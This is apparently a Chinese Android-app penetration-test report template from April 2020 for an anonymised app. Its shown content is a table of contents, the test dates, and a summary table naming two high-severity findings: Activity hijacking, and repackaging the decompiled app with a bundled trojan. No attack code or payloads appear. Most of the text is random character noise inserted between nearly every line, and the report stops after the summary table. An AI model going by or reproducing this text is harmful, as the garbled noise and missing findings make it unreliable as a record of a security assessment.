* q8 J2 f; I) I" v4 S/ x* g
$ o. n8 s$ G( j& j
9 @$ J- d* e) K4 j, A3 x' J. j
2 @8 Q/ ?7 g, Z9 }; c# R! B# B
/ C( O$ J6 O# R4 z8 f5 e7 D6 Z. K- d5 y
2 q9 C8 q* |2 G ]" g
- R0 t4 _9 h' s ; J0 I. B+ J0 N9 V3 |, g
- Y$ b' [! m2 f : v/ Q9 h/ X* E4 N3 C8 d/ K
$ K% b4 o+ p: A% y6 f. N 文档编号:
$ w1 ~. `. f( e
* X4 @! p- V Z. K8 S2 d
. @8 N7 F4 ?. l
1 ~' ~, n/ S2 h' o$ ^
! A/ ~1 e2 Q9 {( b% h" q/ K( }. J
0 W I6 @& A1 a" o; N5 \
, H9 Y% o2 I* u* W% o' [3 F. J% m- ^7 Z" ]& I4 v. c0 ]
/ F1 ]5 o9 Z: L5 i3 O2 _
1 i- ?: t' ^) u
, A) o3 h8 L9 h0 h" X
. q% N0 I7 m; [& _; G H: Y# P! A. Z2 e
6 s9 E$ s( B0 V8 Q
* {& U$ D9 e7 w
% @9 D+ r1 e/ z) J# ~
, o) K/ z8 N+ R2 ^% ~; }3 U2 `" F: h; C7 B
: H& U, ^% p5 {2 w+ E- k3 q, W6 [3 V3 k1 V
% h) f# u0 Z V. \5 ], q1 L7 T" a) ^: [, l. h
, E c1 k' ~7 S; V# O' f
) `: U9 X! S8 n3 o& K \" C# I
0 B: O& i; k" j4 h. d/ e4 s! x: ]; g' o* R1 f0 ?
0 F! z5 ]$ m5 X
( X3 m0 T# H: n2 C
! f- W6 `. ?7 N: g
1 R6 B5 d8 R8 q1 G4 |# W* k3 F
7 V3 i6 [7 K& G q
: X1 S3 u& g2 d" x0 Y
" D) A( U1 N6 W( n/ H
( w' D( a( L8 L/ Y" P' R
9 u0 c! @) B5 D1 i
! v; {) n' c2 v- u 某某某APP渗透测试 5 P/ | j% F, T U3 u) y' `2 @& _
% o; q% ^% a' l P7 t d
! a( h2 v H6 p9 }0 j
; G" l- s5 S6 P) ]9 E 9 K7 o# o1 p' t8 T, _
" v. j& l* Z- x
' A& S7 k% H7 _ w# l4 a: v9 {
- W9 D+ R5 n* A8 p6 y( P
! Z5 `0 d: Z0 q! q9 }. N5 M
, m/ q* ]& Y$ H
! Z O/ ^0 C. m' O) `, b
: M4 C% n/ F' s$ f! @; E R
8 K* R! Z; u4 K2 a/ I, K
8 h$ L* b# x0 f9 e. b3 }7 V+ f
: a; n p* P4 r% [7 W: p
3 |% _& H9 Q) g" f+ Q+ g7 z/ c
6 |! P1 H8 d' d( @4 L2 C' ^' I0 D; d0 [% ?$ O% `& T5 M7 m
7 ^$ C' K; _1 E) e" V1 x, l/ _) F# C0 p b
2 \; f1 f7 F i. J
6 y5 G1 X/ j+ D; [4 \5 c6 i+ t
. i% N- v) B- l9 P6 l) ?
7 S! u& _( y8 b: f
1 S' t6 N. m! J* q
3 I$ v8 |& l6 x: a" o$ L' P( k* J5 n& o* F
5 w) e% e7 j' }, P4 n6 \
1 c( ?' @7 t9 M1 G& k, F # U' S4 E/ D4 x1 s
1 Q3 L' }( l, A7 w" i D+ v
技 术 报 告 ; g/ O! c' u( E8 E
, S$ Y, t% ^# `
) k! x6 O9 S a* @3 j- @# X8 V6 H K2 V5 k; m0 s
# R4 E( B+ q( i6 V l3 i& o
* ^6 E) r& {3 @% i' A( B ( S' u/ I H ]# m$ l4 P/ g
' E9 E; U0 a! }7 K" I# w
. d1 b. y" B" D d- M6 r1 ~
6 o5 p2 @1 [* |: C4 k! ? O1 ] - W8 r4 C/ x$ ?9 M& c8 o( R
2 O* n4 N+ T0 H7 W: A 6 x' a# k9 l/ X& J# @' ?$ {
* j; w# A5 }: ]( B
2 Z* ?" s3 j, E* M+ `/ ]
& _9 O* t! }/ q$ L
: ?, V( I i! j6 {/ u
4 h4 d F# {0 @! a ' e. Q# c0 Y. U
" Z, U+ x0 z( ]& t- ` s
4 e( U5 `6 @7 h# _/ j1 ~- B$ F" s
% k( u0 m9 t6 g s/ l: r4 B) d U
& O& E2 _5 |3 I5 r4 y
6 M& l) z+ H$ T0 P8 y
% p% E" {3 Z' m1 H8 g; t
, w& W3 B) `3 l0 E8 D7 F9 m) Q# @1 ~- H
; L4 D x: C/ T$ A1 g
5 x1 i4 e' H3 L0 K, [5 [% X
6 ?( ~! z. Y' Q+ c
4 x8 Z2 K2 n; m G
# y6 c' M! [$ \* d5 c
! W) |" q0 i* X7 M6 E) u
r H2 ]4 P4 D0 {3 y. t; ~& M6 j4 \* {# i0 o# u. ~
2 e4 j( z, N7 t3 I2 _8 p8 n. Y: b$ ^) i
) Z2 i, K3 G4 [- J; e4 V: X
/ b# h0 J p$ y3 R
0 J$ z9 Y9 z0 V' p% U0 p+ F
7 n1 f! b2 u# K7 ]" }4 G, E- q
9 \, d8 v1 b7 o/ J1 ^4 }+ j( V& b! D1 W2 ]3 v
) a5 k! u* w% s( _4 `" Y$ t( ^$ T' g0 z C5 f
" Q+ Y- B$ F% g g7 \
. r4 O% u9 P6 r' X
3 b$ A3 Y, u, [% q/ I. R8 x% v; b$ R
) m( @* o5 h+ Y7 a6 `. @
- B1 c# p8 i- E" y- S+ P
h- J8 y1 `/ c g2 Q8 `
6 A+ P) h* B# e5 _' _# p6 c! \! v9 X8 S6 P" H
+ e2 P! g- i2 B1 Y& H* ?' A
* b* g8 N: H. \) ?3 n2 @
* u, _: L. R$ {8 m0 X& G" f) n6 N. l1 E H1 i- s& n9 {2 G% E
- J$ p( }. D3 A5 f
6 S+ t" Y1 T0 Z1 F7 z5 [4 ] * H7 V% a8 J4 M5 N1 e
3 @- y- x; y4 v3 t
9 o/ U2 k3 Y* Z1 }# ?
2 K1 R, F* T s# C) R* C ( \* j' \7 F6 i5 ~, _* l h
4 j4 Q, X8 R4 a 1 z0 }! x! B' i) V8 ~% t8 s
; a6 p' |6 ?) |# G" Y Z
! A- B8 o0 V7 B# @6 |
% w6 o9 X0 d! ~, L. T% i
. ^3 x1 N" R- @' Z. C
% n+ Q" R' t& _' ^7 E) e
`; h" ]0 _" m+ \& k% U- G8 z
/ x. o; p" V, R, B/ o
, o7 ?7 n2 q- w9 T
' h" o& z7 a% ]/ c% N
( b; P3 j U5 D0 P8 P4 `7 x) Y6 [1 _* W- [1 e, U+ Z
4 ~" [- u. |+ i& r) ?: O$ ?# e: ?# T" R* ^
: q) a7 G4 f* p; O+ D+ j! K2 |/ t7 K
, e. E9 j& O- V. S+ b
; s4 N9 P. R: z) ` X! d
4 H+ ~6 j8 P8 h7 u 9 v% h: s4 s6 z# Z, ?6 I4 N6 C
% ~9 J( e$ {8 j) o3 I
) N. N1 r' T& }* ]
5 }6 U7 C) c$ T7 B L 4 T% `; v7 d4 [+ r) N/ u( o! k
1 C1 A+ _8 O" U1 x" _
2 h( h1 X1 j, F Y3 M, G' C' ~: v' q5 t
" z. P7 } k6 G, D6 G! P6 V) W
$ P" Y! g, a8 V- N8 z# [9 Y* H 2 h, D- Z9 V. I' D b, b h' w
( x& d0 ]3 j+ }) t8 t0 p O
v9 a7 t, J3 { ?
4 M% f( s. q1 I: I$ l. y6 o- W
% L+ _8 ~3 [$ }1 h" _% C/ K
4 o0 n g) y. J X/ n# A7 o
S% Y1 ^5 |+ ]2 M% ^
6 F T$ [" O3 K C) r; u& M $ I# H3 p# |" t6 N
+ @5 G9 B" A% o0 Y3 v/ r
% G6 F4 Q% C# `8 O7 |) m9 ^
% f& S, J2 f2 X/ n2 {4 V( c, o ; z; Q% G n3 }$ g( Z" E
' r8 D" E/ o b, d* Z1 e
) S% H6 v7 ^. x* ?2 t
4 Y! l! m( m; m
" p4 g0 ]: C- _% C7 c# Y
5 V9 ?1 c# a9 H" a
7 p& A# f- E* E+ ]0 o7 i& L' ^* m
" W1 a# o5 L3 z- a' L9 Y1 O" v& | 二〇二〇年
! g6 }+ @5 x9 W. g8 p4 c
. n1 k; k2 I* [( o( @4 @
1 ]/ H( X: M, z' h* A3 i* F! v3 m7 U7 ]' V5 m/ q, k
% Q) K! W3 L+ P& H
2 n' L5 M6 c6 o
5 ^# b0 T' f$ j" u, c) i) X
5 H# D4 l" V+ v: T 3 }" n% B, W" B3 \3 V# w
# o! a! [0 @0 p, J
, `+ J/ V8 V0 P' I8 e9 h* [& q$ S" K G
% a/ ]+ U8 w8 O* o: z1 G
' ]! C! M- E- B. M+ v2 F! T) B
' E& Z( w2 B8 G" v9 T t3 S U- ?5 K6 c5 C$ I& f4 a0 O N
/ p. S; q' y8 p1 j5 ], l
: c9 L* U% U) U, n/ ~
1 ~. e+ o+ S% {% E) M7 I) F, @' x" p1 w/ B
! k& D# e0 b7 e8 G0 I$ y& ~
& k p" S* @1 e4 n6 u7 _$ W) F5 t 目 录
3 P* L; g D0 M1 L8 M8 q1 \1 U3 e {1 t' R. E- `- f9 G }
$ R! v& `" ^; d$ t
! [- w- i0 O& p
2 Q S! Z$ {2 z1 E; ~$ U6 R4 N7 @! \# ]) |
+ _- {7 J* G! T$ w
! o" s+ |! V2 B! L
5 ]8 W/ o# T1 L* z" M* Q4 O7 z
4 s6 q9 c. J/ L% t& j4 g! t
+ @/ h- a0 f& g1 ` f+ c7 d$ C9 U2 E1 Q$ N5 }8 X
. U, P6 C3 A u2 D1 f3 G+ k$ V) f" f- a0 Y9 m1 A
1 概述... 3 / h5 n* z. A& Q# @7 p; f
: v1 _* l! p7 g: J: J
8 a* k4 O% ^2 ]& Y& x. r# v
+ X" r/ L5 @9 h( H& m' J
# _, Z; d1 y1 _4 b
D: A- b5 O, y. E2 a( t0 T 1.2测试时间... 3 ( U/ T5 t/ T/ R+ {! F3 p. P
" c) ]; l2 E4 N; k
6 n; k* r* Z% Y+ g1 x2 }
# o$ B* E" F6 M; i1 {* u4 z
' r$ i: F) V1 r0 Q2 K/ [+ L
- I0 z0 l/ H- N* c4 v& C$ K 1.3测试对象... 3
% @5 L( q) Z. f! }! x
x) e5 D; w9 ~. }, s6 X6 x0 K
7 S0 a/ ]( G( r& ^
- p/ f/ c1 d1 E7 a* R% I) E
0 a/ \1 j# j5 O% q8 k! J) v8 b: u3 }1 g' e) ]& s7 c" N% q4 z( Y8 m6 A
1.4测试结果... 3
0 w+ h" `( s& ?3 r/ r% i" L
8 F0 C* F" j) z" W
! F# H2 \2 W" t+ u
) l( i$ e& a3 G+ d% F& s" ~ ( H2 S& y9 J0 ?& I
z, X. ^- a9 f4 ?% ^0 c8 g 2 检测结果... 4 + ^7 A& b$ P) x, _
9 x8 j x% c& {# Q+ m
3 Q O9 h7 w- d4 h+ f9 c
3 e3 G( S1 c" `/ x/ |
C6 w% L; w2 P
, g9 ?: m E5 d1 A. C1 j5 O 2.1 某某某... 4 * D% g4 j! t$ N7 ~+ k
4 T& z) A T! F' C$ N; k4 r
. x: k1 [$ J6 K# _9 N# v }3 x: ], D
8 H8 W9 b( a* U: I - h" k2 ^: ?/ O7 W2 Q9 T
3 S+ ]9 `/ S0 ~' l% R 2.1.1检测目标... 4
, o& @* R; _6 @6 v# l, [
U* }. [6 f2 L. A4 s
' S6 j5 w9 V! r4 f/ B. F5 O0 o1 ~
" P& [$ U! |/ N) e' S
2 y( i* V- k7 j+ u- q) x. T9 p# ~5 O; z
, F, k# r% B1 t; U' m; } N 2.1.2检测结果... 4
/ o! x' F+ ^5 i; R4 z, ?' X: E) } l N. N/ O' ~' M
& q# e6 |# o+ n9 j) u* B
' l" ?9 \7 X1 E4 |! A. y: W! {1 p
( ]) x- X7 n- L; D; K1 u
; S4 ?- `% v4 K3 a& p q6 K
2.1.2.1. 4 6 l; X' k% H# ~% j% J( _
' `8 y/ J0 W+ K6 J/ E
Z4 v" f& [5 X3 ?5 {1 B/ C
/ n8 x/ o4 Y( H+ v
' o7 P/ L/ D: v8 Z, N( R
0 _5 P3 f7 r& B9 H 2.1.2.2. 6
v3 O, r) S5 k6 ~
6 C+ R5 }- [2 b& E8 F4 J+ F: z& A
, X8 m% u' Z$ i6 i! q& L* J# ~6 W' x" W% P" |
' D3 {, K) N$ K; [0 |: D
4 e& d- t4 x( U- f& w. i# l- B
) c( W F* C% h8 G9 O. O- i9 t% F# R& o0 \: s
$ \! d& j& g8 B0 a" P/ S' N0 G8 v9 p) g! Y' U% m
) [/ @ N _9 f) v# l! r$ P0 y* [0 K! h3 O2 T5 m
. ]8 {$ e/ p. ^) E( G1 V' H; w
+ L' S6 T' }' @# E$ R5 V+ w: |
/ @! f* j; |. d. h# l+ {2 @+ v
4 B4 ^8 I. A, q3 `7 a
# C' W+ G1 Z' B' Y( S
3 F1 l/ S; z- O# \$ @
+ F4 R* t+ s' Q3 k8 C6 O
, ^' V' n) ^- K: t- S- u1 s. n+ t# e 1 概述 % E8 n* J# I$ f; y
% x9 F7 @6 Q; L) q9 l/ p
' [6 d' | U$ @/ I. C
+ I q! H+ z% @; f" M9 y 4 X, f* ]% d' F$ K
+ m' P% b" s/ L( C. I& t! w 1.2测试时间
9 V1 y8 V9 {6 i7 J$ n& k4 U" L$ m7 W7 ?
# T% ?- b% J# F7 P* V
( ]$ y: g w5 Q6 u( q
( v) |, K/ t5 H2 `2 V# f0 x! B( v) P& K. U6 ?4 [+ C2 H
0 f$ x @7 T( ]" b
/ w& `& y$ \" k Z U% `: O n8 X0 D; I
# \! O% _! k: D
* j' d' z8 |( L
6 G9 P: i- q: {+ a- C
8 G! J- z. |& L1 x
* U! T9 _ z s" S9 C 渗透测试时间 0 R0 Y: P: |( b4 Y2 W
* O' Y6 t" Y ]2 v" V3 U s/ O
, f5 w! N/ ^5 }# S0 ` C, ^- Z, H' l& W2 _. a' S$ s1 f9 b4 _
|
: e( Q6 p8 t! _: M4 u# N6 B' u5 g( W6 u' x4 B& ]
, y& q2 B0 C1 L% a, ]3 Z
# g$ F' c+ q: A. n2 e# I
H! O" r8 d) ]9 k5 I
$ N1 p7 {. I( C: ?+ M+ |/ U 0 n) X2 N- F, h1 A4 `; k! y4 f
+ J0 Z7 N& P8 | - A4 W2 i6 j! R3 {
" S0 m# g, {% y1 Z) O 起始时间 ' K; D, h- d5 B9 K# h) O
/ E% n; A# \2 W2 w* D' F7 z; D
& @ J/ d5 N- |
8 J0 b( P' ]0 T2 F2 V |
. M2 T" F a& m+ s+ G+ X b, T3 r7 C+ Q( |0 q6 q" c
& a0 `. }; b/ Y1 W( u0 }- Q: U i: T& ]2 R" Z* D k
. T2 \0 @' x1 X# J) {( H$ N* _. O6 d
- S( W0 {+ Q: ~# \ 2020年4月6日 9 X7 t6 r( K4 x/ H7 z
% n6 p! d, @0 A0 M3 R
1 c; s9 N( u0 W& T7 @9 r* J. w! s
; b% G2 F: e: K' S1 f2 i4 m9 f% P% T |
( Y3 f5 l/ ]* y0 m4 P( \$ a' n0 G5 [$ e, g3 Y |
8 J# u+ f1 o8 C% v) d3 Z% Y- J5 t8 ?, C$ e8 s/ } J
, Q w! N: _, R$ L1 U# X
- }$ B( H X3 w- _4 N& s+ k' G
9 R: P! X* k* ^9 B$ O; g
4 t" K6 b. h u' y
- K9 C; I! L1 `+ K( q; I+ ^
# d N9 ]& ? e H+ t 结束时间
+ g; a2 z% L; O4 o- E- M
9 y3 }/ z, N+ I- F+ t# C* Y- f
. S l# ?5 x% T5 B+ e% D3 C9 f/ x( d3 l+ s( N
| . C3 C: `2 ~2 d! O% [
2 e! q9 ` y' n$ S& S; P$ K
$ E! O0 h& F0 B. R
' M0 ]/ h2 a' r. {& |# s ]
5 e1 {' \. J$ M. n1 }: S2 a/ c
% o0 p0 j- C4 k+ L4 x+ b6 d 2020年4月9日 7 ^& M0 s+ M) D
( A/ d' m$ T; n# Q; X9 X: q1 u + F* p" e) v: k
, s j6 O( x& o" y! ~: o* `: w | , z% D( ^2 `; g4 A! R8 W7 W: D
; b6 Z6 `4 h$ v2 G
* g0 Z* U c% _* s. _8 E5 N: N: ?, e' X, i" z5 a+ M D; X- Y8 C
/ L! @3 m/ ]# ?1 R: {0 n1 ]
% I$ Z3 t- S! }- K$ P: j
+ B5 P" C4 l5 a( e! _; E" M! S- t' c5 J- j& P$ z3 i
4 p1 W& c8 F6 D$ ^
^* Y! s" ]/ b6 j" l* P 1.3测试对象 4 B. }; k. i2 l: D! T
! r" f0 [. q; D, I, J3 H! G
: f8 d+ i0 `( C( @2 x" S; n7 ?# z; t4 q2 P
" n7 }5 I% ~. f2 p4 Y+ f5 }) K2 ~0 F. Y
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
' g" i$ h' R! T |' ]8 d0 Z8 W! L4 j0 n* e
1 w0 \, i V0 C( N3 ~. J
4 u! Z4 p5 \; u8 s2 o. x
! m0 e( b( A B' M5 H' B4 @; g' R- \8 H/ G( u/ W$ z2 H
表1-1 检测对象
8 L- w/ H( B8 o& b' R: l0 a* ]
; a$ U* w2 S7 B4 e( V
- ]. L0 @! Y, U& W
. ~4 p/ g) v1 G, c! u3 f
0 ]8 p# Q# Z. o3 \! k4 q! b, o
- C, Y7 t/ U* [5 r# P2 P1 {) [ " k- V' ^) ^* c9 @( b
0 ]6 |& Z$ H" b0 d" g8 Z
4 X) t8 j# q, k0 ^3 t% b+ F ]$ L& e
( h3 y2 A$ K( U- v7 r ) }5 Q$ m& b7 ]; A6 e4 G
) j1 T2 K. ^; h# N
4 F' S4 u8 j/ ^4 B. f7 y
1 i# {/ }* O& B. }2 G, C 序号 " I5 u% A Z6 o0 n; j
/ U. C3 ~ l+ V+ t4 g; _7 F
3 z/ n+ O; z6 R8 g9 W2 E2 ^
6 c* N( i% ]+ Q0 e E- Q |
3 W0 C+ F, b9 s! z# L4 D& d" L5 H. j# X- G1 n' A; ^
; t [) c" _9 G% S' N" u
& R3 s% [* }3 Z3 R" V' ^( }
& G6 e( O/ k. w" I4 d2 { m- `$ O3 I+ Z# S" P! \+ {3 B% T# L, ^
测试对象
8 @$ N9 W6 W/ z; z
+ y4 H+ `) y7 F0 ]" {6 V
6 c. F, J2 ~, E+ w8 U- I1 O
, y2 `& _" _5 e% y! | | % y* }2 @1 u( \& j- y
- j, b# Z$ ~& l$ V- T
; g4 e$ i( Z1 s& O/ l8 ], @* f8 T
2 u9 q- P' Q' C. _- @
' r. j& s5 z- S3 H( g
\% I# l" K [% E! y T, J
测试地址 6 h; l2 ?# q- P1 F8 _
! ^6 j) _# r7 d2 A' }: r
; A" L6 E3 D* ~- s8 x6 q- b+ S" e4 X& f" a
| 1 z) [( d% O" L& s8 w" g# v2 e
$ D h3 {# @" p3 b, I / ^: H' }2 a |5 n% ?
3 W" x' f. J2 V: V" i
& z& c: C2 n9 U+ h/ ]4 v( N% M3 q* ^5 Q' l2 k) b
安全漏洞 " U% r- M S% n' d% R, J q
& p9 L& J' z5 C% z9 U ~
- i2 J/ `. `+ C" y1 V5 `& v. e0 e6 z" m% {3 I9 c. Z% W8 I" D! o7 T
| # D7 z6 p' k7 s K$ m& }
* y+ B2 l, c" U2 D( c! O
2 y6 v5 {7 `. E0 D% G$ o0 B( p; \* B c
& j# s' x) p4 ~5 m: L- w2 ^, j4 P G& v$ |
/ Y' y* k0 L& i. i, e' u
( h$ D0 f0 r- v1 p4 f( b# \2 E
7 @! D* c/ O: i. [$ i
. P. H$ }; {; }: A8 y 1
, \2 H8 G5 s" ^% V1 L3 d8 L2 g* K) u! ?$ k
# }$ U5 ~& ]8 \! o( d; x( F; I
1 u* M" V e. G$ l) j/ f2 g |
. ^2 S S7 B9 Z: |( y, u4 Y/ S$ Z6 J( b% @
6 s0 J* \- x2 g! G, J/ b: y8 L
7 J+ F k$ L5 X; \
8 D% W0 S4 I# f) _" _$ a# y
8 K$ A# S$ W8 J8 y" p
某某某安卓APP D) M2 b4 ]+ Y
1 D# K, a& j: F1 A6 Z, r. {
$ q& |6 @3 K& }6 w) `8 k9 `* i. C
" ]# N( K* W/ t" ~0 P* G0 f | ( f6 _( R* B" ]
+ R: c. M: D; _# e6 B) N5 l
9 J0 ~' a( @ [: g
4 z& h/ Q9 [% V$ w/ Z( r
4 a% j! ?8 B" c2 e6 B: o2 J
$ ^- I9 N5 ?, d, n% h
- N6 K. V5 ]8 q0 ]+ d2 S" v' {9 P' C
6 i0 s, o( J0 _- \8 j
) T- D6 S% Q7 a& R9 n' q0 s! [ |
. I4 \( ~. p: h) A. w
& m5 P. [" T3 K, G& E" a
4 j6 O% c4 R* r# M" s$ F% F- T' G! V" ^7 h4 S# C* n8 O( ]% t4 N
# u P0 |. p) {1 o( K' g+ Z1 n3 g9 a9 h) B, H, d
2 / [, c) p$ q4 S- Y9 k9 Z
. }) \* |8 Q: e8 q/ g # D K2 ~! E, u9 P# A+ y% o9 T
: v! m! F9 Z- c3 F( U1 j# S6 v
|
0 O) ]& c, Y- S6 d* P9 J! w1 k; R% l& G& N# H. [
0 s# z4 B& L. ^3 \* n+ |! q: D( s0 Z: W+ c/ _
) R* m! Y+ a Q# v$ X2 Y8 \. Z
' Z+ R! y. [( o0 P5 D* d$ y" X
) l% H7 Q7 P8 @. e) U2 T9 {. V8 Y8 |6 x; _& z- y/ \
5 r6 l2 T4 F4 E
8 D5 m( {6 K* z; J- [ 1.4测试结果 1 d- T! [1 G; a( n" x3 h: I1 y
2 G) @$ b; e; q- ]6 m, u! O! g. d6 ~
" J8 T7 `$ P L$ n1 ]
/ j0 s. t' h8 `3 q6 |
6 o6 W) n7 `" c4 h( V6 m6 V% y# r9 T. M" M& h. T
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
( p. \9 A4 J% \* u% O
4 H: u+ R6 x8 v2 w) S0 [4 S
, @6 B4 C" b# j
* v$ ]: ] Y: U: l( { 5 l# D6 U: P# m) i+ E7 O
: ~! N% ^# e) g8 z # B( [, q# ~* [$ d' m
2 Q/ ? j( I4 B
7 G2 u- Z7 m4 H' d' ~! i
0 B7 o J& Y, J O 0 w8 q( c. _) {
) w* \. u1 S" C0 s1 S6 @
+ \& o; x4 ?, y# g% a
( W+ a: { n3 O3 D( ]. \/ q
- w% [- H* _( W6 m n
; E6 o( R/ l- b3 ?; s 2 v" f3 n) ^. O5 U# G( @
1 g0 k8 e& R& `% f7 w8 \ 2 n+ q; ?% [$ @& K, }/ ~
3 T% |$ L6 l& o6 D" r
& [* h6 G( {- M: c" x8 D5 I. ]
5 A( Y" M, l8 X# @) a/ T1 X 序号 5 e; X6 ?9 ~3 Y+ S. [8 `( H8 V
1 E% w! c2 C/ G( u) J
5 L4 l; E1 @9 |' F4 g1 {9 R: p$ u
| 2 E4 |$ z3 {5 A! w! f
% ~5 j3 T- E+ ]& ?, A1 m L& {& L! @+ A6 k& j1 E0 N
) J. v7 Y" J. `" o" |5 U9 ]1 X
$ s: ]6 r5 C8 T3 A1 M8 k0 O" r7 ~; @+ X+ Z& i k) j k
系统名称 # X3 s6 U; [- ]+ q4 r
6 G$ B& B9 F1 W+ X' S0 d8 |$ X
_) n( S2 V" a1 t6 D9 `0 ]6 t; T
9 P2 {' c5 \8 G0 s+ i |
7 _$ y+ S# c4 R! \
! P B2 U5 l0 s) n2 _0 Z H9 \
6 W( M, a: {7 T1 |% x& s5 c5 j
: ?% g8 T! f6 J! b' d6 t ) ~1 N% E, g0 n- ^/ K9 o3 x) f. o
* D6 N% T) ~: f5 U 漏洞名称
' _- Z5 `8 g4 d$ R" g0 Q" N
# r8 b* ^2 M" {$ d+ k
a6 O* i# {5 M( ~% v5 |7 z. e5 e: `
| 5 }& C D! b8 T6 ~ H
% Z4 k" T" Z$ ?# X+ h
: X: V4 ^! g: c& ]; D( `
2 S! s4 \8 P" q9 _4 C 7 U8 B# i3 K) E! v6 W/ y* z& F
& B6 \ ]: r5 k1 p
漏洞危害 ' n6 G$ P9 l7 m
8 k. ?6 c9 ~2 Q
) G5 y0 ^: x' ~9 e q* g
5 r ]# p4 F2 w, |, j5 i* u
| % ?& }' g3 C: `7 v" C0 ?1 K5 q
0 N0 g2 y! x. F, j
/ b% Y+ @+ V Y C/ ?5 i- O9 ^+ X& K* W; `& j9 f j* w) O
2 X7 S4 ?- K" Q* Y. L1 \! N) E5 Y
修复结果 ' y0 W, Y' N0 l8 z6 ?; G/ I
" O2 O- e' U% J4 K+ m% d
7 H, ^+ k4 w# E2 `: @! ~, |5 F5 ?# Z2 H6 t6 I! [; x
|
* n4 }8 t& F. L8 l0 p+ U2 F. D- J: t, x9 S
3 e, {/ R+ N" {9 k! ]1 i' N$ `+ k8 r
6 B& t" e: {9 q C3 g8 v. M
8 ^1 p/ x) {9 f) g2 ? - |9 E$ T( o# ^& c
( c- I* }/ x! @5 ]$ n0 L % J0 t- D6 s+ X, v/ U& V
# j1 k0 d- J x, |; m' f) E% ?
1
: b5 j0 P ?+ B1 A( l$ o( u+ u. h4 l: @- h" e1 y
, B# g, i! R; e# K6 [
7 B3 r) n4 R5 j6 s) q |
s I$ X8 {2 F! z
! [4 K3 i( t9 Y+ I, F( E6 u2 } $ `8 {# r* W6 K$ ~8 n* j# E
2 h& X9 P# ~. I
/ p2 s5 T: @5 E+ T' N( q3 T, P
# t- S: ]6 x3 p 某某某某某某APP
; V u7 Z6 i: o; u: |( ^
" ~; `! }$ N) o $ l- A3 ^+ m& N
% z0 |' z6 E( A, V | ) M6 b# f; A, q. S% {) X7 V
" ~' `1 s G% h
3 g) ~3 d# c! w( z- C+ _1 a0 D+ ^" U5 N( z5 u
$ z0 b- T: A R! x6 c3 O2 l7 r" q
( P" B( n- E, v4 |" b' A9 U3 ~6 I0 q
Activity 劫持 6 l9 _% r+ c$ }! a) F" {! ~
7 x1 L2 I k5 [4 X$ N' Q9 \ 0 M! V# @: |4 ]7 M
1 N+ T) \2 ]0 U, _" X& p$ X ) Y, j8 j' v5 S7 K
! B5 H) l; P8 D6 ]1 q2 d/ J
7 M" R" r1 Q0 Q4 `; V2 ^5 U) a
+ r1 s. `% y) C
6 L; F0 q" X; R( r5 p* g$ [% e1 ~" O7 N3 @) g
|
. X5 q+ m! U& R3 c
, g; w$ @; y% G) S . G. @ a+ e6 a* y- y$ s
* M- c9 X& I) A9 o, C! H( x' I5 d
3 A5 v& t. N3 a4 R3 R3 s$ m p
( E9 C R& \; l9 D& p* l. c 高 0 h, U1 u% a$ o
4 a, g1 ~# \& h& X1 {
: k5 k% ]' |& P4 t( e {
! {/ d! a( D2 Q* n0 z |
+ I8 | C& z9 x0 M0 z4 B, Y$ u% u( |, `6 r$ Q( Z
/ O6 [7 O$ @! L# \6 }5 @7 Q- `1 _8 d$ u8 W* I7 v' C
( K1 K3 O2 g. T# w* I6 j
2 U" L* |2 j& P' }% ?( _, e4 r, N
q4 ^3 Z0 t. ^ Y
2 d. [1 @/ G1 W4 P' v9 Z( S7 D ( p4 M* m. H7 u' |
" h' N& s) N5 A* h. S
| 6 g4 }, e, W# M0 a; l( V
- f& W6 ^' @8 u8 r& w: J
* r9 g4 J% f& W1 C, K
6 e0 }6 ^9 c5 l
+ l L. M, G7 }" n7 K! A( I3 T
$ v9 U. ~# j! _7 h+ x
7 V1 a( i7 @5 U$ ?2 T7 [
4 E6 f, i6 b: D" ]# e5 S5 [; ?! E
0 a1 r9 T) \5 ?8 O3 j! Q# i( W9 {1 W3 o+ Q6 z, [" l% {
2 ; V* G1 Z& R* g. a! I! ]$ v9 w2 h; o
. \1 ?0 n: B2 a# \: X9 L( \; H
) L# v. ?& d/ g% U4 S1 Y0 M+ X4 Q- [: Y' X* \7 L. |
|
. w% P8 C9 u Z6 u$ Q
0 M1 U) d7 I5 E# M8 U
0 Z" K; k2 f: q
7 M+ N6 n( G! Y4 ]/ v B; e5 k: m* N; U/ n1 W
# X/ `& m% M% ?& p& M 某某某某某某APP
3 n. C/ \) ]! v+ m* L8 z" T- a9 H
1 }' |+ \- g+ h! Y9 E9 n6 k % h7 S$ t# u( n l
# L6 M9 c' b1 n' j3 y: l
| 7 v; r6 G. T7 }; q: q6 S
* s* I5 z6 y5 I ! v g$ l4 i c% e) b, P/ G
, {, G2 g& j" d! g$ `% c
7 n# L# C9 _$ P9 Q, n; O6 ]# g$ E' v! c
反编译二次打包捆绑木马、篡改APP代码
! W% b# Q! x% L+ p/ K+ c# @/ A2 d
, U1 d" |0 c+ t9 z
7 Y' H% m& v1 f4 m0 z. L' F5 E/ G, ]7 h" H# w, g2 k
|
( s1 Y+ O- {. B( A* c. t5 m! D- R6 i$ R( \; x( p
' d: [- t9 v) F$ T6 w& ^9 @$ e2 M- e( @& b0 d
/ D) h, w( x$ L9 c$ P' f% f% n- L0 B
高 ( Y! n* C* [/ g
* o! h5 l2 d: G' s( z5 ^
4 v+ B/ U' N) ]+ R! \3 }& ~# s
! P& B0 b; e6 h- J4 `, J2 [ |
* @+ v6 {0 h2 H: k! X3 V, D; \2 Q/ H$ g$ `' k- [' O& x* J% M
. b! P) t# E* f3 [
5 W. t& x ~1 a X( g5 Y2 n . R+ D: |7 m% e5 U0 i4 I% D5 b8 g. `
, U; n( F, N1 |1 s! z7 d9 j
& q! ]% k" P6 X8 i1 O& I
" E- v |1 f0 ?) d! x( f0 k
, W& [) }+ Q* @6 Z6 B' g9 |# X- s- U2 s. `
|
) ?' t: A k' A, v; G/ ?/ z W9 e' x/ ~: k' P: J E1 T. ]
1 i4 ^. X% F2 t4 \3 w+ T7 R
- v, q0 I2 ~% n3 A: F" q) M4 K! I
+ q a7 y9 a- D2 v+ I
) K, N$ k6 b) w4 n: i* ]
" D; X- W, g4 U
& C, k5 J0 Z& L9 e& B3 j) l
6 Q! k9 \( `) E P% s
( a" y5 f" t! S3 p8 c! o 6 N( c6 \. q& S* N& c E. C8 t
4 T' K, y# y" \! v4 `
/ D# {& l5 {+ h% [! E |( ^
% {1 K* d4 a4 ?
